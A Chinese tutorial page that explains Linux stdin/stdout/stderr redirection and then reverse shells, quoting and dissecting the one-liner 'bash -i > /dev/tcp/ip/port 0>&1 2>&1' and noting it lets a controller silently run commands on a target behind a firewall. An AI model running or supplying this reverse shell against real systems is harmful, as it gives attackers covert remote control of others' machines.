当前位置: 首页 > news >正文

反弹shell

一,标准输入输出

  1. 三个标准流
    ● 标准输入 (stdin):文件描述符 0,默认来自键盘。
    ● 标准输出 (stdout):文件描述符 1,默认输出到屏幕。
    ● 标准错误 (stderr):文件描述符 2,默认也输出到屏幕(用于错误消息)。
  2. 基础输出重定向
    ● >:将 stdout 覆盖到文件。
    ○ 例:ls > file.txt
    ● >>:将 stdout 追加到文件。
    ○ 例:ls >> file.txt
    ● 2>:将 stderr 重定向到文件。
    ○ 例:command 2> errors.log
    ● &> 或 >&:将 stdout 和 stderr 都重定向到同一文件。
    ○ 例:command &> output.log
  3. 基础输入重定向
    ● <:将文件内容作为 stdin。
    ○ 例:sort < input.txt
  4. 高级技巧
    ● 2>&1:将 stderr 合并到 stdout。
    ○ 例:command > output.log 2>&1(顺序很重要!)
    ● &1 表示 stdout 的当前位置。
    ● 管道 |:将一个命令的 stdout 作为另一个命令的 stdin。
    ○ 例:ls | grep "test"
  5. 特殊文件
    ● /dev/null:“比特桶”,丢弃所有重定向到此的数据。
    ○ 例:command 2> /dev/null(静默错误)
    ● /dev/zero:提供无限的 null 字符流。
    ● /dev/random 或 /dev/urandom:提供随机数据。
  6. 进程替换
    ● <(command):将命令的输出作为一个临时文件提供给另一个命令。
    ○ 例:diff <(ls dir1) <(ls dir2)
  7. 关键要点与最佳实践
    ● 顺序至关重要:Shell 从左到右处理重定向。
    ● 使用 &> 简化 stdout 和 stderr 的重定向。
    ● 2>&1 意味着“让 stderr 去往 stdout 当前 去的地方”。
    ● 管道 | 只连接 stdout;要处理 stderr,需先用 2>&1 合并。
    二,反弹 shell
    1.什么是反弹 shell
    攻击者主动连接目标主机获取 shell 称为正向 shell;
    目标主机主动向攻击者发起连接并将 shell 的输入输出绑定到该连接的,称为反弹 shell。关键在于连接由内向外发起,常用于绕过防火墙或 NAT 限制。
    2.示例:bash -i > /dev/tcp/ip/port 0>&1 2>&1
    讲解:bash -i 启动一个 shell 交互程序
    /dev/tcp/ip/port linux 中的一个并不真实存在的文件,用来启动一个 socket 连接到指定的 ip 和端口,也就是控制端的主机,受控端主动连接控制端,对应反弹

将标准输出 FD1 指向/dev/tcp/ip/port
0>&1 使标准输入 FD0 复制标准输出所指对象
2>&1 使错误输出 FD2 复制标准输出所指对象
一定要先将标准输出指向目标然后才能让输入和错误输出指向目标
这样让受控端的输入输出全都指向控制端主机就可以在控制端主机上无声无息的对受控端执行命令

http://www.jsqmd.com/news/351262/

相关文章:

  • Python计算机毕设之基于Python的去中心化知识图谱系统的设计与实现(完整前后端代码+说明文档+LW,调试定制等)
  • 数据即服务:大数据领域的下一个风口
  • 在 VS Code 中集成和使用通义灵码(Lingma)
  • 红米手机技巧:如何在红米手机中恢复联系人 - 教程
  • 分析AI应用架构师的社会网络AI分析平台的性能指标
  • Gensors压力扫描阀:捕捉进气道总压畸变的关键
  • 炸了!AI双巨头同天亮剑[特殊字符] Claude Opus 4.6 vs GPT-5.3-Codex 深度拆解,开发者必看 谁能想到!2026年2月5日,AI圈直接被两大巨头掀翻天花板
  • PBRT中的RayDifferentials
  • 年底聚会避坑!高情商vs低情商表达,差的不只是说话技巧
  • 为什么建议把 map 换成 for loop?—— 聊聊 Side Effects 与语义化编程
  • 基于大数据的新疆特产商品推荐系统的 爬虫 数据分析可视化系统9062th44
  • 二月杂谈
  • 从0到1理解Nginx定时器:源码级超时管理完全指南
  • BigInt 与 Number 的爱恨情仇,为何大佬都劝你“能用 Number 就别用 BigInt”?
  • 可观测性实战:快速定位 K8s 应用的时延瓶颈
  • 大数据领域 HDFS 网络拓扑与数据传输
  • 家贫而妻美,势弱而早慧,无权多财
  • 集体好奇心与团队成员的责任感
  • 基于非洲秃鹫优化算法优化BP神经网络风电功率预测附matlab代码
  • 这人啊,必须得靠自己赢一次
  • 剖析大数据领域 Eureka 的负载均衡策略
  • 基于世界一流标杆与国企很热数字化实践系统化路径
  • 海沧装修公司推荐|实测3家靠谱装企,省心避坑更安心 - 品牌测评鉴赏家
  • 列式存储与行式存储 形式讲解
  • 灰色Gompertz模型预测附Matlab代码
  • 大模型RAG性能提升的关键:一文吃透8种文本分块策略(小白进阶必读)
  • DeepSeek论文图解+GLM-Image实战:大模型的记忆与思考平衡之道
  • P4041 学习笔记
  • 22种RAG优化策略实战项目:从小白到专家,落地必看指南!
  • Python毕设项目推荐-python基于协同过滤算法的各银行金融理财产品推荐系统理财产品推荐系统【附源码+文档,调试定制服务】